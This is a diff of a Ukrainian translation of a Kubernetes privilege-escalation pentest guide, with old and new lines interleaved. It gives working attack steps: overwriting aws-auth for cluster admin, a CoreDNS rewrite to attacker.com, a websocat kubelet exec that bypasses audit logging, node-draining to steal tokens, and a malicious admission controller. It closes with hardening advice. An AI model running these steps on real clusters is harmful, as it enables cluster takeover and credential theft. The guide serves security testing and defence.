Хоча зловмиснику, який має token з правами читання, потрібна точна назва secret для його використання (на відміну від ширшої привілеї _**listing secrets**_), все одно існують вразливості. Default service accounts у системі можна перерахувати, кожен пов'язаний із secret. Ці secrets мають структуру імені: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий token (без певних символів) згідно з [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Token генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник теоретично може виконати brute-force атаку, щоб визначити token за кілька годин, що потенційно може призвести до privilege escalation шляхом доступу до конфіденційних service accounts.
|
||||
Токен генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, attacker може практично виконати brute-force attack, щоб визначити token за лічені години, що потенційно може призвести до privilege escalation шляхом доступу до sensitive service accounts.
|
||||
|
||||
### EncrpytionConfiguration in clear text
|
||||
|
||||
Можна знайти ключі у відкритому вигляді для шифрування data at rest в об'єкті такого типу, наприклад:
|
||||
It's possible to find clear text keys to encrypt data at rest in this type of object like:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -452,11 +454,11 @@ secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Certificate Signing Requests
|
||||
|
||||
Якщо у вас є вербси **`create`** у ресурсі `certificatesigningrequests` (або принаймні у `certificatesigningrequests/nodeClient`), ви можете **створити** новий CeSR для **нового вузла.**
|
||||
If you have the verbs **`create`** in the resource `certificatesigningrequests` ( or at least in `certificatesigningrequests/nodeClient`). You can **create** a new CeSR of a **new node.**
|
||||
|
||||
Згідно з [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно мати можливість approve запит, що означає право update у `certificatesigningrequests/approval` та `approve` у `signers` з resourceName `<signerNameDomain>/<signerNamePath>` або `<signerNameDomain>/*`
|
||||
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. If not, you would need to be able to approve the request, which means update in `certificatesigningrequests/approval` and `approve` in `signers` with resourceName `<signerNameDomain>/<signerNamePath>` or `<signerNameDomain>/*`
|
||||
|
||||
Приклад **role** з усіма необхідними дозволами є:
|
||||
An **example of a role** with all the required permissions is:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -487,19 +489,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Отже, після схвалення нового node CSR ви можете **abuse** спеціальні дозволи nodes, щоб **steal secrets** і **escalate privileges**.
|
||||
Отже, із затвердженим новим node CSR, ви можете **abuse** спеціальні permissions вузлів, щоб **steal secrets** і **escalate privileges**.
|
||||
|
||||
У [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **automatic signing**, і це використовується для генерації credentials нового K8s Node, після чого можна **abuse** їх для **escalate privileges** та **steal secrets**.\
|
||||
Якщо ви **маєте згадані привілеї, ви могли б зробити те саме**. Зверніть увагу, що перший приклад обходить помилку, яка перешкоджає новому node отримати доступ до secrets всередині containers, оскільки **node can only access the secrets of containers mounted on it.**
|
||||
У [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) і [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурацію GKE K8s TLS Bootstrap налаштовано з **automatic signing**, і це використовується, щоб згенерувати credentials нового K8s Node, а потім abuse їх для escalation privileges шляхом steal secrets.\
|
||||
Якщо ви **маєте згадані privileges yo could do the same thing**. Зверніть увагу, що перший приклад обходить помилку, яка не дозволяє новому node отримувати access до secrets всередині containers, тому що **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
Спосіб обійти це — просто **create a node credentials for the node name where the container with the interesting secrets is mounted** (але дивіться, як це зроблено у першому пості):
|
||||
Спосіб обійти це — просто **create a node credentials for the node name where the container with the interesting secrets is mounted** (але просто подивіться, як це зробити в першому post):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Принципали, які можуть змінювати **`configmaps`** у просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати права адміністратора кластера, перезаписавши **aws-auth** configmap.\
|
||||
Необхідні verbs — **`update`** та **`patch`**, або **`create`**, якщо configmap не було створено:
|
||||
Principals, які можуть змінювати **`configmaps`** у namespace kube-system на EKS (потрібно бути в AWS) кластерах, можуть отримати cluster admin privileges, перезаписавши **aws-auth** configmap.\
|
||||
Потрібні verbs — **`update`** і **`patch`**, або **`create`**, якщо configmap ще не було створено:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -539,18 +541,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ви можете використовувати **`aws-auth`** для **persistence**, що дає доступ користувачам з **інших облікових записів**.
|
||||
> Ви можете використовувати **`aws-auth`** для **persistence**, надаючи доступ користувачам з **other accounts**.
|
||||
>
|
||||
> Однак `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого акаунту**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо вказати ARN кластера замість просто імені.\
|
||||
> Щоб `kubectl` працював, просто переконайтеся, що ви **налаштували** **kubeconfig жертви** і в aws exec args додали `--profile other_account_role`, щоб kubectl використовував профіль іншого акаунту для отримання токена та зв'язку з AWS.
|
||||
> Однак, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **не працює з іншого acount**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо ви вкажете ARN кластера замість лише імені.\
|
||||
> Щоб **kubectl** працював, просто переконайтеся, що ви **configure** **victims kubeconfig**, і в aws exec args додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого account для отримання токена та звернення до AWS.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Якщо у вас є права на зміну **`coredns` configmap** в неймспейсі `kube-system`, ви можете змінити адреси, до яких вирішуються домени, щоб виконувати MitM-атаки для **викрадення конфіденційної інформації або впровадження шкідливого вмісту**.
|
||||
Якщо у вас є дозволи на зміну **`coredns` configmap** у просторі імен `kube-system`, ви можете змінити адреси, на які будуть резолвитися домени, щоб мати змогу виконувати MitM attacks для **steal sensitive information or inject malicious content**.
|
||||
|
||||
Необхідні дієслова — **`update`** та **`patch`** над **`coredns`** configmap (або над усіма config map).
|
||||
Потрібні verbs — це **`update`** і **`patch`** для **`coredns`** configmap (або всіх config maps).
|
||||
|
||||
Звичайний **файл coredns** містить приблизно таке:
|
||||
Звичайний **coredns file** містить щось на кшталт цього:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -580,48 +582,48 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Зловмисник може завантажити його, виконавши `kubectl get configmap coredns -n kube-system -o yaml`, змінити, додавши, наприклад, `rewrite name victim.com attacker.com`, тож коли звертаються до `victim.com`, фактично буде доступний `attacker.com`. Потім застосувати зміни командою `kubectl apply -f poison_dns.yaml`.
|
||||
Атакер could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
Інший варіант — просто відредагувати файл через `kubectl edit configmap coredns -n kube-system` і внести зміни.
|
||||
Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
|
||||
|
||||
### Ескалація в GKE
|
||||
### Escalating in GKE
|
||||
|
||||
Існує **2 способи призначити K8s дозволи суб'єктам GCP**. У будь-якому випадку суб'єкту також потрібен дозвіл **`container.clusters.get`**, щоб отримати облікові дані для доступу до кластера, або вам доведеться **згенерувати власний kubectl config файл** (перейдіть за наступним посиланням).
|
||||
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
|
||||
|
||||
> [!WARNING]
|
||||
> При зверненні до K8s api endpoint буде відправлено **GCP auth token**. Далі GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за email) **доступ всередині кластера**, потім перевірить, чи має він **доступ через GCP IAM**.\
|
||||
> Якщо **хоч би одне** з цих тверджень істинне, буде **надано доступ**. Якщо **ні**, буде повернута **помилка** з підказкою надати **дозволи через GCP IAM**.
|
||||
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
|
||||
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
|
||||
|
||||
Перший метод — використання **GCP IAM**: K8s дозволи мають свої **еквівалентні дозволи в GCP IAM**, і якщо принципал їх має, він зможе ними скористатися.
|
||||
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Другий метод — **призначення K8s дозволів всередині кластера** користувачу, ідентифікованому за його **email** (включно з сервісними акаунтами GCP).
|
||||
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
|
||||
|
||||
### Створення токена serviceaccounts
|
||||
### Create serviceaccounts token
|
||||
|
||||
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Принципали, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду в інших pods**, і потенційно **вийти на ноду**, додавши ephemeral container з привілейованим securityContext
|
||||
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
|
||||
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
Принципали з будь-яким із глаголів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть мати можливість **створити одну з таких webhookconfigurations** з метою **ескалації привілеїв**.
|
||||
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
|
||||
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### Escalate
|
||||
|
||||
Як ви можете прочитати в наступному розділі: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати roles чи clusterroles, якщо сам не має цих нових дозволів. За винятком випадку, коли він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні опції binding.\
|
||||
Тоді він може оновлювати/створювати нові roles, clusterroles з більшими дозволами, ніж ті, що у нього є.
|
||||
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
|
||||
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
|
||||
|
||||
### Nodes proxy
|
||||
|
||||
Принципали з доступом до підресурсу **`nodes/proxy`** можуть **виконувати код у pods** через Kubelet API (згідно з [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про автентифікацію Kubelet на цій сторінці:
|
||||
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
@@ -629,12 +631,12 @@ For a [`mutatingwebhookconfigurations` example check this section of this post](
|
||||
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
- Kubelet відображає HTTP-методи на RBAC-дієслова **перед** оновленням протоколу. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
|
||||
- `/exec`, `/run`, `/attach`, та `/portforward` явно не відображені й потрапляють у стандартний підресурс **`proxy`**, тож питання авторизації стає **`can <user> get nodes/proxy?`**
|
||||
- Якщо токен має лише **`nodes/proxy` + `get`**, прямий доступ WebSocket до kubelet на `https://<node_ip>:10250` дозволяє виконувати довільні команди в будь-якому pod на цій ноді. Той самий запит через шлях проксі API server (`/api/v1/nodes/<node>/proxy/exec/...`) відхиляється, оскільки це звичайний HTTP POST і відображається на `create`.
|
||||
- Kubelet не виконує вторинну авторизацію після оновлення до WebSocket; оцінюється лише початковий GET.
|
||||
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
|
||||
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
|
||||
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
|
||||
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
|
||||
|
||||
**Прямий експлойт (потребує мережевої досяжності до kubelet та токена з `nodes/proxy` GET):**
|
||||
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
@@ -642,13 +644,13 @@ websocat --insecure \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- Використовуйте **Node IP**, а не ім'я вузла. Такий самий запит з `curl -X POST` буде **Forbidden**, оскільки він відповідає `create`.
|
||||
- Прямий доступ до kubelet оминає API server, тому AuditPolicy показує лише `subjectaccessreviews` від kubelet user agent і **не реєструє команди `pods/exec`**.
|
||||
- Перелічіть уражені service accounts за допомогою [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a), щоб знайти токени, обмежені до `nodes/proxy` GET.
|
||||
- Використовуйте **Node IP**, а не node name. Те саме запитання з `curl -X POST` буде **Forbidden**, тому що воно мапиться на `create`.
|
||||
- Direct kubelet access bypasses the API server, тому AuditPolicy покаже лише `subjectaccessreviews` від kubelet user agent і **не логуватиме `pods/exec`** команди.
|
||||
- Перелічіть уражені service accounts за допомогою [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a), щоб знайти tokens, обмежені до `nodes/proxy` GET.
|
||||
|
||||
### Видалення pods + unschedulable nodes
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
Суб'єкти, які можуть **видаляти pods** (`delete` verb over `pods` resource), або **evict pods** (`create` verb over `pods/eviction` resource), або **змінювати статус pod** (доступ до `pods/status`) та можуть **зробити інші nodes недоступними для планування** (доступ до `nodes/status`) або **видаляти nodes** (`delete` verb over `nodes` resource) і контролюють pod, можуть **викрасти pods з інших nodes**, щоб ті **виконувалися** на **скомпрометованому** **node**, і зловмисник може **викрасти токени** з цих pods.
|
||||
Principals, які можуть **delete pods** (`delete` verb over `pods` resource), або **evict pods** (`create` verb over `pods/eviction` resource), або **change pod status** (access to `pods/status`) і можуть **make other nodes unschedulable** (access to `nodes/status`) або **delete nodes** (`delete` verb over `nodes` resource) і мають control over a pod, could **steal pods from other nodes** so they are **executed** in the **compromised** **node** and the attacker can **steal the tokens** from those pods.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -661,41 +663,41 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
Принципали, які можуть **змінювати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб використати **unfixed CVE-2020-8554** та запустити **MiTM атаки проти кластера**. Більшість пом'якшень для CVE-2020-8554 лише запобігають ExternalIP services (відповідно до [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the cluster**. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Nodes and Pods status
|
||||
|
||||
Суб'єкти з правами **`update`** або **`patch`** над `nodes/status` або `pods/status` можуть змінювати мітки, щоб вплинути на застосовані обмеження планування.
|
||||
Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced.
|
||||
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes має [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) для запобігання privilege escalation.
|
||||
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation.
|
||||
|
||||
Ця система гарантує, що **users cannot elevate their privileges by modifying roles or role bindings**. Застосування цього правила відбувається на рівні API, забезпечуючи захист навіть коли RBAC authorizer неактивний.
|
||||
This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
|
||||
|
||||
Правило встановлює, що **user can only create or update a role if they possess all the permissions the role comprises**. Крім того, область існуючих дозволів користувача має відповідати області ролі, яку він намагається створити або змінити: або на рівні кластера для ClusterRoles, або обмеженою до того самого namespace (або на рівні кластера) для Roles.
|
||||
The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Існує виняток з попереднього правила. Якщо у принципала є **verb `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і clusterroles навіть не маючи цих дозволів самостійно.
|
||||
> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
|
||||
Привілей створювати Rolebindings дозволяє користувачу **bind roles to a service account**. Цей привілей потенційно може призвести до privilege escalation, оскільки він **дозволяє користувачу прив'язати admin privileges до скомпрометованого service account.**
|
||||
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
|
||||
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy app
|
||||
|
||||
За замовчуванням немає шифрування в комунікації між pods. Відсутня двостороння (mutual) автентифікація pod-to-pod.
|
||||
By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.
|
||||
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
Sidecar container полягає просто у додаванні **другого (або більше) контейнера всередині pod**.
|
||||
A sidecar container consists just on adding a **second (or more) container inside a pod**.
|
||||
|
||||
Наприклад, нижче — частина конфігурації pod з 2 контейнерами:
|
||||
For example, the following is part of the configuration of a pod with 2 containers:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -705,24 +707,24 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Наприклад, щоб backdoor існуючий pod новим container, ви можете просто додати новий container у specification. Зверніть увагу, що ви можете **надати більше прав** другому container'у, яких перший не матиме.
|
||||
Наприклад, щоб backdoor наявний pod із новим container, ви можете просто додати новий container у specification. Зверніть увагу, що ви можете **надати більше permissions** другому container, ніж матиме перший.
|
||||
|
||||
Детальніше: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Зловмисний Admission Controller
|
||||
### Malicious Admission Controller
|
||||
|
||||
Admission controller **перехоплює запити до Kubernetes API server** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **і авторизовано**.
|
||||
An admission controller **перехоплює requests до Kubernetes API server** до persistence об'єкта, але **після того, як request authenticated** **and authorized**.
|
||||
|
||||
Якщо зловмиснику якимось чином вдасться **впровадити Mutation Admission Controller**, він зможе **змінювати вже аутентифіковані запити**. Це може потенційно призвести до privesc, а частіше — дозволити персистувати в кластері.
|
||||
Якщо attacker якимось чином зможе **інжектити Mutation Admission Controller**, він зможе **modify already authenticated requests**. Це дасть змогу потенційно privesc, а також, що трапляється частіше, persist у cluster.
|
||||
|
||||
**Приклад з** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
Перевірте статус, щоб дізнатися, чи готово:
|
||||
Перевірте статус, щоб побачити, чи він готовий:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
@@ -734,18 +736,18 @@ kubectl get deploy,svc -n webhook-demo
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Коли ви бачите помилку `ErrImagePull`, перевірте ім'я образу за допомогою одного з запитів:
|
||||
Коли ви бачите помилку `ErrImagePull`, перевірте ім'я image за допомогою одного з таких запитів:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
Як видно на зображенні вище, ми намагалися запустити образ `nginx`, але в результаті було виконано образ `rewanthtammana/malicious-image`. Що тільки що сталося!?
|
||||
Як ви можете бачити на зображенні вище, ми спробували запустити image `nginx`, але фінально виконаний image — `rewanthtammana/malicious-image`. Що щойно сталося!!?
|
||||
|
||||
#### Технічні подробиці
|
||||
#### Technicalities
|
||||
|
||||
Скрипт `./deploy.sh` встановлює mutating webhook admission controller, який змінює запити до Kubernetes API відповідно до рядків його конфігурації, впливаючи на спостережувані результати:
|
||||
Скрипт `./deploy.sh` створює mutating webhook admission controller, який змінює запити до Kubernetes API, як зазначено в його рядках конфігурації, впливаючи на результати, які спостерігаються:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -763,20 +765,20 @@ The above snippet replaces the first container image in every pod with `rewantht
|
||||
|
||||
## Найкращі практики
|
||||
|
||||
### **Вимкнення автоматичного монтування токенів Service Account**
|
||||
### **Disabling Automount of Service Account Tokens**
|
||||
|
||||
- **Pods and Service Accounts**: За замовчуванням pods монтують токен service account. Щоб підвищити безпеку, Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
|
||||
- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації service accounts або pods починаючи з версії Kubernetes 1.6.
|
||||
- **Pods and Service Accounts**: За замовчуванням, pods монтують service account token. Щоб підвищити безпеку, Kubernetes дозволяє вимкнути цю функцію automount.
|
||||
- **How to Apply**: Встановіть `automountServiceAccountToken: false` у конфігурації service accounts або pods, починаючи з версії Kubernetes 1.6.
|
||||
|
||||
### **Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings**
|
||||
### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Вибіркове включення**: Переконайтеся, що в RoleBindings або ClusterRoleBindings включені лише необхідні користувачі. Регулярно проводьте аудит і видаляйте непотрібних користувачів для підтримки суворої безпеки.
|
||||
- **Selective Inclusion**: Переконайтеся, що лише необхідні користувачі включені в RoleBindings або ClusterRoleBindings. Регулярно перевіряйте та видаляйте нерелевантних користувачів, щоб підтримувати жорстку безпеку.
|
||||
|
||||
### **Ролі, обмежені namespace, замість ролей на рівні кластера**
|
||||
### **Namespace-Specific Roles Over Cluster-Wide Roles**
|
||||
|
||||
- **Roles vs. ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для namespace, замість ClusterRoles і ClusterRoleBindings, які застосовуються по всьому кластеру. Такий підхід дає більш точний контроль і обмежує зону дії дозволів.
|
||||
- **Roles vs. ClusterRoles**: Надавайте перевагу Roles і RoleBindings для permissions, специфічних для namespace, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні всього cluster. Такий підхід забезпечує точніший контроль і обмежує scope permissions.
|
||||
|
||||
### **Використовуйте автоматизовані інструменти**
|
||||
### **Use automated tools**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/cyberark/KubiScan
|
||||
@@ -790,7 +792,7 @@ https://github.com/aquasecurity/kube-hunter
|
||||
https://github.com/aquasecurity/kube-bench
|
||||
{{#endref}}
|
||||
|
||||
## **Посилання**
|
||||
## **References**
|
||||
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Існує **різні способи експонування сервісів** у Kubernetes, щоб як **внутрішні**, так і **зовнішні** кінцеві точки могли до них отримати доступ. Ця конфігурація Kubernetes є досить критичною, оскільки адміністратор може надати доступ **зловмисникам до сервісів, до яких вони не повинні мати доступ**.
|
||||
У Kubernetes є **різні способи expose services**, щоб до них могли звертатися як **internal** endpoints, так і **external** endpoints. Ця Kubernetes configuration є дуже критичною, оскільки administrator може надати **attackers доступ до services, до яких вони не повинні мати доступ**.
|
||||
|
||||
### Automatic Enumeration
|
||||
|
||||
Перед тим, як почати перераховувати способи, які K8s пропонує для експонування сервісів публічно, знайте, що якщо ви можете перерахувати простори імен, сервіси та інгреси, ви можете знайти все, що експоновано публічно за допомогою:
|
||||
Перед тим як починати enumerating способи, які K8s пропонує для exposing services to the public, знайте, що якщо ви можете list namespaces, services and ingresses, ви можете знайти все, що exposed to the public, за допомогою:
|
||||
```bash
|
||||
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
|
||||
echo "Namespace: $ns"
|
||||
@@ -20,21 +20,21 @@ done | grep -v "ClusterIP"
|
||||
```
|
||||
### ClusterIP
|
||||
|
||||
Служба **ClusterIP** є **за замовчуванням** службою Kubernetes. Вона надає вам **службу всередині** вашого кластера, до якої можуть отримати доступ інші додатки всередині вашого кластера. **Зовнішнього доступу** немає.
|
